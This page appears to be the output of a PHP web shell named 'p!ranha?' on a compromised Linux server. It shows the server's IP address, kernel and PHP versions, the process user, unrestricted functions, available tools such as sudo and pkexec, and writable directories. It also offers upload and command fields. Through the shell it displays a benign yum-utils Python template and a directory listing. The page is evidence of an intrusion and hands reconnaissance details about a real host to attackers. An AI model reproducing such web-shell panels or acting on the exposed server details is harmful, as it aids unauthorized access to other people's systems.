p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/yum-utils-1.1.31/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/yum-utils-1.1.31/yum-util-cli-template
#!/usr/bin/python 
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
# Copyright 2007 Seth Vidal

import sys
sys.path.insert(0,'/usr/share/yum-cli/')

import yum
import yum.Errors

from utils import YumUtilBase


class MyYumUtil(YumUtilBase):
    NAME = 'myyumutil'
    VERSION = '1.0'
    USAGE = '"usage: myyumutil [options] package1 [package2] [package..]'
    
    def __init__(self):
        YumUtilBase.__init__(self,
                             MyYumUtil.NAME,
                             MyYumUtil.VERSION,
                             MyYumUtil.USAGE)
        self.logger = logging.getLogger("yum.verbose.cli.myyumutil")
        self.main()

    def main(self):
        # Add util commandline options to the yum-cli ones
        parser = self.getOptionParser() 
        # Parse the commandline option and setup the basics.
        opts = self.doUtilConfigSetup()
        # Check if there is anything to do.
        if len(self.cmds) < 1: 
            print parser.format_help() # Stupid .print_help() commits unicide
            sys.exit(0)
        # at this point you have the entire YumBaseCli object as 'self'
        # you can do whatever you want
        # if you want to make sure to build and run a transaction based on
        # what you added to the tsInfo then do:
        #self.buildTransaction()
        #self.doTransaction()
        
if __name__ == '__main__':
    util = MyYumUtil()
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:39
0 / 0
0755
COPYING
17.668 KB
May 12 2020 16:27:40
0 / 0
0644
README
0.162 KB
August 10 2011 15:20:19
0 / 0
0644
yum-util-cli-template
2.011 KB
May 12 2020 16:27:40
0 / 0
0644